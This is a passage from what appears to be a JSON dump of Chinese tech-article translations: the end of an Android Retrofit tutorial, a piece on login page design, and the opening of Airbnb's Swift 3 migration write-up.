变量一样是 `quotaRemaining`，那么就没有必要为变量设置 `@SerializedName` 注解，Gson 会自己搞定。\n\n`@Expose` 注解表明在 JSON 序列化或反序列化的时候，该成员应该暴露给 Gson。\n\n### 将数据模型导入 Android Studio\n\n现在让我们回到 Android Studio。新建一个 **data** 的子包，在 data 里面再新建一个 **model** 的包。在 model 包里面，新建一个 Owner 的 Java 类。\n然后将 jsonschema2pojo 生成的 `Owner` 类复制粘贴到刚才新建的 `Owner` 类文件里面。\n\n    import com.google.gson.annotations.Expose;\n    import com.google.gson.annotations.SerializedName;\n\n    public class Owner {\n\n        @SerializedName(\"reputation\")\n        @Expose\n        private Integer reputation;\n        @SerializedName(\"user_id\")\n        @Expose\n        private Integer userId;\n        @SerializedName(\"user_type\")\n        @Expose\n        private String userType;\n        @SerializedName(\"profile_image\")\n        @Expose\n        private String profileImage;\n        @SerializedName(\"display_name\")\n        @Expose\n        private String displayName;\n        @SerializedName(\"link\")\n        @Expose\n        private String link;\n        @SerializedName(\"accept_rate\")\n        @Expose\n        private Integer acceptRate;\n\n\n        public Integer getReputation() {\n            return reputation;\n        }\n\n        public void setReputation(Integer reputation) {\n            this.reputation = reputation;\n        }\n\n        public Integer getUserId() {\n            return userId;\n        }\n\n        public void setUserId(Integer userId) {\n            this.userId = userId;\n        }\n\n        public String getUserType() {\n            return userType;\n        }\n\n        public void setUserType(String userType) {\n            this.userType = userType;\n        }\n\n        public String getProfileImage() {\n            return profileImage;\n        }\n\n        public void setProfileImage(String profileImage) {\n            this.profileImage = profileImage;\n        }\n\n        public String getDisplayName() {\n            return displayName;\n        }\n\n        public void setDisplayName(String displayName) {\n            this.displayName = displayName;\n        }\n\n        public String getLink() {\n            return link;\n        }\n\n        public void setLink(String link) {\n            this.link = link;\n        }\n\n        public Integer getAcceptRate() {\n            return acceptRate;\n        }\n\n        public void setAcceptRate(Integer acceptRate) {\n            this.acceptRate = acceptRate;\n        }\n    }\n\n\n利用同样的方法从 jsonschema2pojo 复制过来，新建一个 `Item` 类。\n\n    import com.google.gson.annotations.Expose;\n    import com.google.gson.annotations.SerializedName;\n\n    public class Item {\n\n        @SerializedName(\"owner\")\n        @Expose\n        private Owner owner;\n        @SerializedName(\"is_accepted\")\n        @Expose\n        private Boolean isAccepted;\n        @SerializedName(\"score\")\n        @Expose\n        private Integer score;\n        @SerializedName(\"last_activity_date\")\n        @Expose\n        private Integer lastActivityDate;\n        @SerializedName(\"creation_date\")\n        @Expose\n        private Integer creationDate;\n        @SerializedName(\"answer_id\")\n        @Expose\n        private Integer answerId;\n        @SerializedName(\"question_id\")\n        @Expose\n        private Integer questionId;\n        @SerializedName(\"last_edit_date\")\n        @Expose\n        private Integer lastEditDate;\n\n        public Owner getOwner() {\n            return owner;\n        }\n\n        public void setOwner(Owner owner) {\n            this.owner = owner;\n        }\n\n        public Boolean getIsAccepted() {\n            return isAccepted;\n        }\n\n        public void setIsAccepted(Boolean isAccepted) {\n            this.isAccepted = isAccepted;\n        }\n\n        public Integer getScore() {\n            return score;\n        }\n\n        public void setScore(Integer score) {\n            this.score = score;\n        }\n\n        public Integer getLastActivityDate() {\n            return lastActivityDate;\n        }\n\n        public void setLastActivityDate(Integer lastActivityDate) {\n            this.lastActivityDate = lastActivityDate;\n        }\n\n        public Integer getCreationDate() {\n            return creationDate;\n        }\n\n        public void setCreationDate(Integer creationDate) {\n            this.creationDate = creationDate;\n        }\n\n        public Integer getAnswerId() {\n            return answerId;\n        }\n\n        public void setAnswerId(Integer answerId) {\n            this.answerId = answerId;\n        }\n\n        public Integer getQuestionId() {\n            return questionId;\n        }\n\n        public void setQuestionId(Integer questionId) {\n            this.questionId = questionId;\n        }\n\n        public Integer getLastEditDate() {\n            return lastEditDate;\n        }\n\n        public void setLastEditDate(Integer lastEditDate) {\n            this.lastEditDate = lastEditDate;\n        }\n    }\n\n\n最后，为返回的 StackOverflow 回答新建一个 `SOAnswersResponse` 类。注意在 jsonschema2pojo 里面类名是 `Example`，别忘记把类名改成 `SOAnswersResponse`。\n\n    import com.google.gson.annotations.Expose;\n    import com.google.gson.annotations.SerializedName;\n\n    import java.util.List;\n\n    public class SOAnswersResponse {\n\n        @SerializedName(\"items\")\n        @Expose\n        private List<Item> items = null;\n        @SerializedName(\"has_more\")\n        @Expose\n        private Boolean hasMore;\n        @SerializedName(\"backoff\")\n        @Expose\n        private Integer backoff;\n        @SerializedName(\"quota_max\")\n        @Expose\n        private Integer quotaMax;\n        @SerializedName(\"quota_remaining\")\n        @Expose\n        private Integer quotaRemaining;\n\n        public List<Item> getItems() {\n            return items;\n        }\n\n        public void setItems(List<Item> items) {\n            this.items = items;\n        }\n\n        public Boolean getHasMore() {\n            return hasMore;\n        }\n\n        public void setHasMore(Boolean hasMore) {\n            this.hasMore = hasMore;\n        }\n\n        public Integer getBackoff() {\n            return backoff;\n        }\n\n        public void setBackoff(Integer backoff) {\n            this.backoff = backoff;\n        }\n\n        public Integer getQuotaMax() {\n            return quotaMax;\n        }\n\n        public void setQuotaMax(Integer quotaMax) {\n            this.quotaMax = quotaMax;\n        }\n\n        public Integer getQuotaRemaining() {\n            return quotaRemaining;\n        }\n\n        public void setQuotaRemaining(Integer quotaRemaining) {\n            this.quotaRemaining = quotaRemaining;\n        }\n    }\n\n\n## 5. 创建 Retrofit 实例\n\n为了使用 Retrofit 向 REST API 发送一个网络请求，我们需要用 [`Retrofit.Builder`](http://square.github.io/retrofit/2.x/retrofit/retrofit2/Retrofit.Builder.html) 类来创建一个实例，并且配置一个 base URL。\n\n\n在 `data` 包里面新建一个 `remote` 的包，然后在 `remote` 包里面新建一个 `RetrofitClient` 类。这个类会创建一个 Retrofit 的单例。Retrofit 需要一个 base URL 来创建实例。所以我们在调用 `RetrofitClient.getClient(String baseUrl)` 时会传入一个 URL 参数。参见 13 行，这个 URL 用于构建 Retrofit 的实例。参见 14 行，我们也需要指明一个我们需要的 JSON converter（Gson）。\n\n    import retrofit2.Retrofit;\n    import retrofit2.converter.gson.GsonConverterFactory;\n\n    public class RetrofitClient {\n\n        private static Retrofit retrofit = null;\n\n        public static Retrofit getClient(String baseUrl) {\n            if (retrofit==null) {\n                retrofit = new Retrofit.Builder()\n                        .baseUrl(baseUrl)\n                        .addConverterFactory(GsonConverterFactory.create())\n                        .build();\n            }\n            return retrofit;\n        }\n    }\n\n\n## 6.创建 API 接口\n\n在 remote 包里面，创建一个 `SOService` 接口，这个接口包含了我们将会用到用于执行网络请求的方法，比如 `GET`, `POST`, `PUT`, `PATCH`, 以及 `DELETE`。在该教程里面，我们将执行一个 `GET` 请求。\n\n    import com.chikeandroid.retrofittutorial.data.model.SOAnswersResponse;\n\n    import java.util.List;\n\n    import retrofit2.Call;\n    import retrofit2.http.GET;\n\n    public interface SOService {\n\n       @GET(\"/answers?order=desc&sort=activity&site=stackoverflow\")\n       Call<List<SOAnswersResponse>> getAnswers();\n\n       @GET(\"/answers?order=desc&sort=activity&site=stackoverflow\")\n       Call<List<SOAnswersResponse>> getAnswers(@Query(\"tagged\") String tags);\n    }\n\n\n`GET` 注解明确的定义了当该方法调用的时候会执行一个 `GET` 请求。接口里每一个方法都必须有一个 HTTP 注解，用于提供请求方法和相对的 `URL`。Retrofit 内置了 5 种注解：`@GET`, `@POST`, `@PUT`, `@DELETE`, 和 `@HEAD`。\n\n在第二个方法定义中，我们添加一个 query 参数用于从服务端过滤数据。Retrofit 提供了 `@Query(\"key\")` 注解，这样就不用在地址里面直接写了。key 的值代表了 URL 里参数的名字。Retrofit 会把他们添加到 URL 里面。比如说，如果我们把 `android` 作为参数传递给 `getAnswers(String tags)` 方法，完整的 URL 将会是：\n\n\n    https://api.stackexchange.com/2.2/answers?order=desc&sort=activity&site=stackoverflow&tagged=android\n\n接口方法的参数有以下注解：\n\n||||\n|---|---|---|\n|@Path|替换 API 地址中的变量|\n|@Query|通过注解的名字指明 query 参数的名字|\n|@Body|POST 请求的请求体|\n|@Header|通过注解的参数值指明 header|\n\n\n## 7.创建 API 工具类\n\n现在我们要新建一个工具类。我们命名为 `ApiUtils`。该类设置了一个 base URL 常量，并且通过静态方法 `getSOService()` 为应用提供 `SOService` 接口。\n\n    public class ApiUtils {\n\n        public static final String BASE_URL = \"https://api.stackexchange.com/2.2/\";\n\n        public static SOService getSOService() {\n            return RetrofitClient.getClient(BASE_URL).create(SOService.class);\n        }\n    }\n\n\n## 8.显示到 RecyclerView\n\n既然结果要显示到 [RecyclerView](https://code.tutsplus.com/tutorials/getting-started-with-recyclerview-and-cardview-on-android--cms-23465) 上面，我们需要一个 adpter。以下是 `AnswersAdapter` 类的代码片段。\n\n    public class AnswersAdapter extends RecyclerView.Adapter<AnswersAdapter.ViewHolder> {\n\n        private List<Item> mItems;\n        private Context mContext;\n        private PostItemListener mItemListener;\n\n        public class ViewHolder extends RecyclerView.ViewHolder implements View.OnClickListener{\n\n            public TextView titleTv;\n            PostItemListener mItemListener;\n\n            public ViewHolder(View itemView, PostItemListener postItemListener) {\n                super(itemView);\n                titleTv = (TextView) itemView.findViewById(android.R.id.text1);\n\n                this.mItemListener = postItemListener;\n                itemView.setOnClickListener(this);\n            }\n\n            @Override\n            public void onClick(View view) {\n                Item item = getItem(getAdapterPosition());\n                this.mItemListener.onPostClick(item.getAnswerId());\n\n                notifyDataSetChanged();\n            }\n        }\n\n        public AnswersAdapter(Context context, List<Item> posts, PostItemListener itemListener) {\n            mItems = posts;\n            mContext = context;\n            mItemListener = itemListener;\n        }\n\n        @Override\n        public AnswersAdapter.ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {\n\n            Context context = parent.getContext();\n            LayoutInflater inflater = LayoutInflater.from(context);\n\n            View postView = inflater.inflate(android.R.layout.simple_list_item_1, parent, false);\n\n            ViewHolder viewHolder = new ViewHolder(postView, this.mItemListener);\n            return viewHolder;\n        }\n\n        @Override\n        public void onBindViewHolder(AnswersAdapter.ViewHolder holder, int position) {\n\n            Item item = mItems.get(position);\n            TextView textView = holder.titleTv;\n            textView.setText(item.getOwner().getDisplayName());\n        }\n\n        @Override\n        public int getItemCount() {\n            return mItems.size();\n        }\n\n        public void updateAnswers(List<Item> items) {\n            mItems = items;\n            notifyDataSetChanged();\n        }\n\n        private Item getItem(int adapterPosition) {\n            return mItems.get(adapterPosition);\n        }\n\n        public interface PostItemListener {\n            void onPostClick(long id);\n        }\n    }\n\n## 9.执行请求\n\n在 `MainActivity` 的 `onCreate()` 方法内部，我们初始化 `SOService` 的实例（参见第 9 行），RecyclerView 以及 adapter。最后我们调用 `loadAnswers()` 方法。\n\n     private AnswersAdapter mAdapter;\n        private RecyclerView mRecyclerView;\n        private SOService mService;\n\n        @Override\n        protected void onCreate (Bundle savedInstanceState)  {\n            super.onCreate( savedInstanceState );\n            setContentView(R.layout.activity_main );\n            mService = ApiUtils.getSOService();\n            mRecyclerView = (RecyclerView) findViewById(R.id.rv_answers);\n            mAdapter = new AnswersAdapter(this, new ArrayList<Item>(0), new AnswersAdapter.PostItemListener() {\n\n                @Override\n                public void onPostClick(long id) {\n                    Toast.makeText(MainActivity.this, \"Post id is\" + id, Toast.LENGTH_SHORT).show();\n                }\n            });\n\n            RecyclerView.LayoutManager layoutManager = new LinearLayoutManager(this);\n            mRecyclerView.setLayoutManager(layoutManager);\n            mRecyclerView.setAdapter(mAdapter);\n            mRecyclerView.setHasFixedSize(true);\n            RecyclerView.ItemDecoration itemDecoration = new DividerItemDecoration(this, DividerItemDecoration.VERTICAL_LIST);\n            mRecyclerView.addItemDecoration(itemDecoration);\n\n            loadAnswers();\n        }\n  \n\n`loadAnswers()` 方法通过调用 `enqueue()` 方法来进行网络请求。当响应结果返回的时候，Retrofit 会帮我们把 JSON 数据解析成一个包含 Java 对象的 list（这是通过 `GsonConverter` 实现的）。\n\n    public void loadAnswers() {\n        mService.getAnswers().enqueue(new Callback<SOAnswersResponse>() {\n        @Override\n        public void onResponse(Call<SOAnswersResponse> call, Response<SOAnswersResponse> response) {\n\n            if(response.isSuccessful()) {\n                mAdapter.updateAnswers(response.body().getItems());\n                Log.d(\"MainActivity\", \"posts loaded from API\");\n            }else {\n                int statusCode  = response.code();\n                // handle request errors depending on status code\n            }\n        }\n\n        @Override\n        public void onFailure(Call<SOAnswersResponse> call, Throwable t) {\n           showErrorMessage();\n            Log.d(\"MainActivity\", \"error loading from API\");\n\n        }\n    });\n    }\n\n## 10. 理解 `enqueue()`\n\n`enqueue()` 会发送一个异步请求，当响应结果返回的时候通过回调通知应用。因为是异步请求，所以 Retrofit 将在后台线程处理，这样就不会让 UI 主线程堵塞或者受到影响。\n\n要使用 `enqueue()`，你必须实现这两个回调方法：\n\n- `onResponse()`\n- `onFailure()`\n\n只有在请求有响应结果的时候才会调用其中一个方法。\n\n- `onResponse()`：接收到 HTTP 响应时调用。该方法会在响应结果能够被正确地处理的时候调用，即使服务器返回了一个错误信息。所以如果你收到了一个 404 或者 500 的状态码，这个方法还是会调用。为了拿到状态码以便后续的处理，你可以使用 `response.code()` 方法。你也可以使用 `isSuccessful()` 来确定返回的状态码是否在 200-300 范围内，该范围的状态码也表示响应成功。\n- `onFailure()`：在与服务器通信的时候发生网络异常或者在处理请求或响应的时候发生异常的时候调用。\n\n要执行同步请求，你可以使用 `execute()` 方法。要注意同步请求在主线程会阻塞用户的任何操作。所以不要在主线程执行同步请求，要在后台线程执行。\n\n## 11.测试应用\n\n现在你可以运行应用了。\n\n![Sample results from StackOverflow](https://cms-assets.tutsplus.com/uploads/users/1499/posts/27792/image/gt5.JPG)\n\n## 12. 结合 RxJava\n\n如果你是 RxJava 的粉丝，你可以通过 RxJava 很简单的实现 Retrofit。RxJava 在 Retrofit 1 中是默认整合的，但是在 Retrofit 2 中需要额外添加依赖。Retrofit 附带了一个默认的 adapter 用于执行 `Call` 实例，所以你可以通过 RxJava 的 `CallAdapter` 来改变 Retrofit 的执行流程。\n\n### **第一步**\n\n添加依赖。\n\n    compile 'io.reactivex:rxjava:1.1.6'\n    compile 'io.reactivex:rxandroid:1.2.1'\n    compile 'com.squareup.retrofit2:adapter-rxjava:2.1.0'\n\n### **第二步**\n\n在创建新的 Retrofit 实例的时候添加一个新的 CallAdapter `RxJavaCallAdapterFactory.create()`。\n\n    public static Retrofit getClient(String baseUrl) {\n        if (retrofit==null) {\n            retrofit = new Retrofit.Builder()\n                    .baseUrl(baseUrl)\n                    .addCallAdapterFactory(RxJavaCallAdapterFactory.create())\n                    .addConverterFactory(GsonConverterFactory.create())\n                    .build();\n        }\n        return retrofit;\n    }\n\n\n### **第三步**\n\n当我们执行请求时，我们的匿名 subscriber 会响应 observable 发射的事件流，在本例中，就是 `SOAnswersResponse`。当 subscriber 收到任何发射事件的时候，就会调用 `onNext()` 方法，然后传递到我们的 adapter。\n\n    @Override\n    public void loadAnswers() {\n        mService.getAnswers().subscribeOn(Schedulers.io()).observeOn(AndroidSchedulers.mainThread())\n                .subscribe(new Subscriber<SOAnswersResponse>() {\n                    @Override\n                    public void onCompleted() {\n\n                    }\n\n                    @Override\n                    public void onError(Throwable e) {\n\n                    }\n\n                    @Override\n                    public void onNext(SOAnswersResponse soAnswersResponse) {\n                        mAdapter.updateAnswers(soAnswersResponse.getItems());\n                    }\n                });\n    }\n\n\n查看 Ashraff Hathibelagal 的 [Getting Started With ReactiveX on Android](https://code.tutsplus.com/tutorials/getting-started-with-reactivex-on-android--cms-24387) 以了解更多关于 RxJava 和 RxAndroid 的内容。\n\n## 总结\n\n在该教程里，你已经了解了使用 Retrofit 的理由以及方法。我也解释了如何将 RxJava 结合 Retrofit 使用。在我的下一篇文章中，我将为你展示如何执行 `POST`, `PUT`, 和 `DELETE` 请求，如何发送 `Form-Urlencoded` 数据，以及如何取消请求。\n\n要了解更多关于 Retrofit 的内容，请参考 [官方文档](https://square.github.io/retrofit/2.x/retrofit/)。同时，请查看我们其他一些关于 Android 应用开发的课程和教程。\n"
  },
  {
    "path": "TODO/getting-the-login-page-right.md",
    "content": "> * 原文地址：[Getting the login page right](https://blog.prototypr.io/getting-the-login-page-right-d1ce6015235e)\n> * 原文作者：[Boluwatife Ben-Adeola](https://blog.prototypr.io/@tife1379)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[LisaPeng](https://github.com/LisaPeng)\n> * 校对者：[changkun](https://github.com/changkun)  [horizon13th](https://github.com/horizon13th)\n\n---\n\n# 使登录页面变得正确\n\n事先声明，这篇文章讨论的是目前登录页上已采用的设计，而不是讨论关于如何设计的新见解。常言道：「普天之下，莫非旧闻」，但如果我们连历史都不曾了解，又如何能知道它会去向何方呢？好啦，这个理由已经足以支撑我写下这篇文章了。 \n\n因此，一般结论是：创建登录/注册页的艺术（没错，它是一门艺术）不是随意的！或者至少不应该只是为了获得最佳结果。App 的整体体验是一个非常重要的因素，应该符合整个 App 的当前目标。\n\n接下来，我将就决定登陆页的布局因素进行讨论。\n\n---\n\n#### 1 ) 访问的平台：网站还是 App ？\n\n访问平台的影响基于一个相当显然的事实：大部分访问桌面端版本的用户是新用户。这些人希望在决定使用他们时间（和带宽）来下载本机 App 之前，先了解一下你是做什么的。App 是一种忠诚工具，这是一条经验法则：当人们欣赏你的服务，并希望享受 App 提供的所有优点，如即时通知和其他功能时，人们会下载它。也就是说，大多数访问 App 的用户都是老用户，而大多数访问网站都是新手，这个假设是有意义的。那么这个经验是如何告诉我们，当这两个群体访问各自的平台时，该怎么构建第一页呢？为了具有深刻的印象，我另起一个段落：\n\n**为本地 App 创造一个以登录为中心的页面，为桌面版本构建一个以注册为中心的页面！**\n\n这样做的目的仅仅是为了分别迎合两种群体中的大多数人。\n\n举几个在工作中运用这个规则的例子，以免你错过它。\n\n![](https://cdn-images-1.medium.com/max/800/1*nn_BIbwZADDqOlArc2CLng.jpeg)\n\n红色框是用于登录的空间，紫色是用于注册的空间。    \n正如你能够从图片中看到的那样，就在每个页面上各自分配的空间方面，相对于登录来说，页面对注册有明显的偏好。\n\n![](https://cdn-images-1.medium.com/max/800/1*8K4YHt_wyGNABzjefVF5Rw.jpeg)\n\n与以上的图像相同，相同的颜色约定在这里被运用。\n在相同网络下，移动 App 的情况却是恰恰相反的！\n\n---\n\n#### 2 ) 网络规模\n\n有一种情况，通常在网站中，你会有两组访问者，包括老用户和新用户，他们平等地聚集到相同目的地。但是，你应该不会同时拥有两个群体相同程度的涌入。这意味着当你刚刚推出你的服务时，你肯定会（希望）拥有很多新用户，而不是那些现有的用户（ beta 测试人员和开发团队）。那么，你认为谁才会让你的准备更有意义呢？当然是新用户，那么怎么办？下面是另一个教学时间，且听我慢慢道来：\n\n**在你的平台的早期阶段，应该创建一个以注册为中心的页面！**\n\n很明显，很多设计师（大部分是开发人员）只是提供了用于登陆页面的常见模板，即登录页面。但问题是，为什么你看到这个给你灵感，决定你的 App 也应该如此的 App 界面的唯一原因，是因为该 App 已经有一个成熟的社交网络！这就是为什么你首先就想要使用它！所以当我们喜欢的网络刚刚成长和需要数字时，我们大多数时候看不到它们，就像我们现在一样。所以你不是从错误的人那里得到建议，只是在错误的时间运用它。也许如果我们回到这些平台最初的样子，看看他们在你现在所处的位置，那么你会有想法去做什么。\n\n你真幸运，我碰巧拥有一个哆啦A梦（对于那些不幸的没有看过这部电影的人，我正在谈论一台时间机器），并会帮助你及时回到那些最好的网络最初的样子。\n\n![](https://cdn-images-1.medium.com/max/800/1*R9ObciULy-F55BSWXQibcA.jpeg)\n\n1 — 2008, 2 — 2009, 3 — 2012.\n是的，它就是 Twitter .\n\n1–2008 — 这是他们第一次的登陆页面，刚刚推出了新的想法，登录形式几乎没有装饰和边框（字面上）。但是，通过一个鲜艳的召唤点击的按钮告诉你注册，另一个红色 CTA 按钮告诉您观看演示视频，你会看到它们正聚焦在告诉你新平台是做什么的，不是太注重登录，是因为他们知道现在的焦点是吸引他们的第一批成员。对于少数已经加入的人呢？他们可以弄清楚登录表单的位置。\n\n2–2009 — 好的，他们得到了一些关注和可观的成员数量，几乎立即（推出一年后）为现有用户进行了更多的考虑，现在已经有合理的数量来关注 UI 功能了。但是注册按钮仍然在中间至高无上的位置，在充满活力的柠檬绿色中。\n\n3–2012 — 从按钮开始，我们在这里！所以他们现在有稳定的新来者和更多的现有用户。这在登陆页面上如何反映？通过对新老用户给予同等的关注。为什么？因为新用户必须始终照顾，而现在的用户群体太多，以至于无法忽视和不能悉心照顾，这样可以确保所有用户都能继续使用并爱上这个平台！\n\n所以你会发现一个问题可能会发生，当一个设计师四处寻找新网络登录页的好概念时，当他发现了 Twitter 并对自己说：“天才！把登录和注册页面放在一起！让我们也这样做把“。但是，呃...不行！由于你不能细致的了解 Twitter 用户的新旧用户比例，因此你不能采用他们的方法。在这个故事得到教训了吗？好吧，又到教学时间了！所以通常的方法是：\n\n**观察学习对比过去和当前的设计，有时会更加明智。**\n\n#### 3) 特殊情况\n\n当然，总是有那些不符合你发现的模式的人，让你看起来像是破解了所有 UI/UX 的代码。不，他们必须冲在前面，打破规则，做自己的事情。这些包括像 Facebook 这样的登录页面，尽管用户数量庞大，但仍然倾向于新的注册用户。就像我们自己的 Medium ，由于处于用户群体增长的早期阶段，甚至他们的本地 App 都是以注册为中心。但是我们可以理解他们的方法思想。所以我猜这是符合用户基数大小的规则 (#2).\n\n![](https://cdn-images-1.medium.com/max/800/1*pWuQJ8ix9kVgENNHt3VKqw.png)\n\n好的，那么最后的消息是，不要像不值得思考的登记页面一样对待登录／注册页面，因为**每个设计决策，无论多么平凡，都值得你去深思熟虑**。最后的话...与团队的其他成员交谈，听整个产品的策略，看看你的设计决策如何帮助他们从一开始实现所有这一切，从我们的第一个但通常被忽视的朋友开始 - 登录页面。或注册页面，作为戏剧性的结尾，我必须只使用它们中的一个。 :-)\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/getting-to-swift-3-at-airbnb.md",
    "content": "> * 原文地址：[Getting to Swift 3](https://medium.com/airbnb-engineering/getting-to-swift-3-at-airbnb-79a257d2b656#.b0f62n181)\n* 原文作者：[Chengyin Liu](https://twitter.com/chengyinliu), [Paul Kompfner](https://github.com/kompfner), [Michael Bachand](https://twitter.com/michaelbachand)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Deepmissea](http://deepmissea.blue)\n* 校对者：[Karthus1110](https://github.com/Karthus1110)，[lovelyCiTY](https://github.com/lovelyCiTY)\n\n# 步入 Swift 3 \n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*yRyt_nc-U0j7xGW0bMADOg.png\">\n\n从 Swift 出现开始，Airbnb 就开始使用它。我们从这门现代、安全、社区驱动的语言看到了很多好处。\n\n直到最近，我们大部分的代码还是基于 Swift 2 的。我们刚刚完成了 Swift 3 的迁移，正好赶上 Xcode 新版发布，就舍弃了对 Swift 2 的支持。\n\n我们想在社区分享我们的迁移方式，Swift 3 对我们应用的影响，以及我们在此过程中获得的一些技术经验。\n\n### “可持续发展”的方法 ###\n\n我们有几十个模块和几个三方库都是用 Swift 编写的，包括了几千个文件和几十万代码。就好像这个代码量还不足够具有挑战性一样，Swift 2 和 Swift 3 模块之间无法互相导入的事实，更加剧了迁移过程的复杂度。由于 Swift ABI 在版本 2 和 3 之间的改变，即使是正确的 Swift 3 代码引入 Swift 2 的库也不能编译。这个不兼容性，导致了代码并行优化变得异常困难。\n\n为了确保我们能渐进地转换并校验代码，我们建立了一个依赖图，为我们 36 个 Swift 模块进行了拓扑排序。我们的升级计划如下：\n\n1. 升级 CocoaPods 到 1.1.0（用来支持必要的 pod 升级）\n\n2. 升级第三方的 pods 到 Swift 3 版本\n\n3. 按照拓扑顺序，转换我们自己的模块\n \n在与已经完成迁移的公司的交流中，我们了解到冻结开发是一个常见策略。如果可能的话，我们希望尽量避免代码冻结，即使这意味着增加迁移的难度。由于转换工作无法简单的并行化，全员出动（all-hands-on-deck）的方法是低效的。而且，由于无法估计转换要花多长时间，所以我们想确保在迁移的过程中，继续的发布新版本。\n\n我们有三个人来做迁移工作。两个人专注于代码的转换，然后第三个人来协调团队沟通和基准的检测。\n\n包括准备工作，我们项目的时间线看起来是这样的：\n\n- 1 周：调研和准备（一个人）\n\n- 2.5 周：转换（两个人），并分析转换的效率，与大团队沟通（一个人）\n\n- 2 周：QA 和修复 bug（QA 团队 + 各个功能的作者）\n\n### Swift 3 的影响 ###\n\n在我们对 Swift 3 新语言特性的感到兴奋时，我们也想知道这次更新会对最终用户，以及整体的开发体验有怎样的影响。我们密切关注着 Swift 3 对发布的 IPA 大小和调试时的编译时间的影响，因为至今为止，这些是  Swift 项目的两个最大痛点。不幸的是，在尝试了不同的优化设置测试以后，Swift 3 在这两点上的指标还是略差。\n\n#### 发布 IPA 的体积 ####\n\n在迁移到 Swift 3 以后，我们发现 IPA 增加了 2.2MB。经过一些分析发现，这几乎都是由于 Swift 本身的库体积增加（我们自己的二进制文件大小几乎没有改变）。这里有一些未压缩二进制体积增加的例子：\n\n- libswiftFoundation.dylib: up 233.40% (3.8 MB)\n\n- libswiftCore.dylib: up 11.76% (1.5 MB)\n\n- libswiftDispatch.dylib: up 344.61% (0.8 MB)\n\n由于 Swift 3 库的增益，比如 Foundation，这种增加也是可以理解的。尽管，我们更期待的是 Swift ABI 稳定时，程序的体积不会再因为这些增益而增加。\n\n#### 调试的构建时间 ####\n\n我们迁移之后，程序的构建时间比之前慢了 4.6%，以前 6 分钟，增加了 16 秒。\n\n我们试着比较在 Swift 2 和 Swift 3 之间每个函数的编译时间，但是我们无法得出具体结论，因为函数在不同的文件都不相同。我们确实发现了一个函数，由于迁移，编译时间暴增 12 秒。幸运的是，我们能慢慢把它还原下来，但这也说明了检查转换代码类似异常的重要性。[Build Time Analyzer for Xcode](https://github.com/RobertGummesson/BuildTimeAnalyzer-for-Xcode) 这个工具很有帮助，或者你只需要[设置适当的编译标识，并解析他们，生成日志](http://irace.me/swift-profiling)。\n\n#### Runtime 问题 ####\n\n不幸地，代码在 Swift 3 下成功编译并不意味着完成了迁移的工作。Xcode 的代码转换工具不能保证运行时的行为像编译时正常。此外，这是我们一会儿要讨论的，代码转换还是需要一些体力活，而且还有一些陷阱。这些不幸的事情，意味着代码回归。由于单元测试覆盖率没有给我们足够的信心，我们不得不耗费额外的 QA 周期在新迁移的应用上。\n\n新迁移的应用通过首次 QA 时有很多明显的问题。通过应用本文后面讨论的几种技术，大部分的问题都被三人小队快速地解决了（在几个小时内）。经过初步的消除容易的问题，高可见度的回归分析，我们的 iOS 团队在大型项目里留下了 15 个潜在回归，其中 3 个崩溃，这是我们在发布下一版本应用前需要解决的。\n\n### 代码转换过程 ###\n\n我们从 `master` 新建一个 `swift-3` 的分支开始。和刚才提到的一样，我们模块化的处理了代码转换模块，从叶子模块开始，依据依赖树展开工作。只要可能，我们就并行的转换不同的模块。如果不能，我们就在一起说一声我们正在做的，以避免冲突。\n\n对于每个模块，过程大概是这样的：\n\n1. 从 `swift-3` 创建一个新的分支\n\n2. 在模块上运行 Xcode 代码转换工具\n\n3. 提交并推送更改\n\n4. 构建\n\n5. 手动修复一些构建错误\n\n6. 提交并且推送更改\n\n7. 再构建\n\n8. 重复前面 3 步，直到完成\n\n在手动地更新代码时，我们坚持的哲学是“做最表面的代码转换”。这意味着我们的目的不是在转换期间提高代码的安全性。这么做的原因有两个。第一，由于团队正在 Swift 2 积极开发，这是一场与时间的赛跑。第二，我们希望代码的回归风险降到最小。\n\n幸运地是，我们在进行这个项目的时间是比较宽裕的，因为恰好是假期。这意味着我们可以安全的度过几天，即使不急着把 `swift-3` 重组（rebase）到 `master` 分支上，也不会落后太多。在我们要重组的时候，使用 `git rebase -Xours master` 来保持尽量多的 `swift-3` 代码，而默认用 `master` 上的代码解决冲突。\n\n一旦 `master` 的进度被 `swift-3` 赶上，我们就知道在合并它之前，大概只有一天的时间来解决这些问题。鉴于我们 iOS 团队的规模，而且 `master` 是一个动态的目标。所以，为了完成 Swift 3 的迁移工作，我们强烈的鼓励整个团队（除了做代码迁移的）做到真真正正的周六歇一天 😄。\n\n\n### 值得一提的问题 ###\n\n#### Objective-C 中的闭包参数 ####\n\n我们最常见的问题之一，就是 Xcode 没有自动建议修复 Objective-C 和 Swift 之间的闭包参数。看一下这个函数在一个 Objective-C 头文件的声明：\n\n![Markdown](http://i1.piimg.com/1949/300646b3b962e346.png)\n\n很多东西都变了，但是最重要的是 `completionBlock` 里面的参数从隐式拆包类型变成了可选类型，这会破坏这个参数在闭包中的使用。\n\n我们决定最“表面”的转化到 Swift 3（不和 Objective-C代码接触），我们想要在闭包的顶部声明一个变量，它有和参数相同的名字，不过它是隐式拆包的：\n\n![Markdown](http://i1.piimg.com/1949/bbdc00bdcba906bb.png)\n\n这么做，而不是在使用参数的时候再拆包，是因为这样做几乎不会破坏闭包内部其他地方的语义。在上面的例子里，接下来的语句像 `if let someReview = review { /* … */ } ` 和 `review ?? anotherReview` 都会正常的工作。\n\n#### 隐式拆包里的类型推演问题 ####\n\n另一个常见（以及相关）的问题是，处理 Swift 3 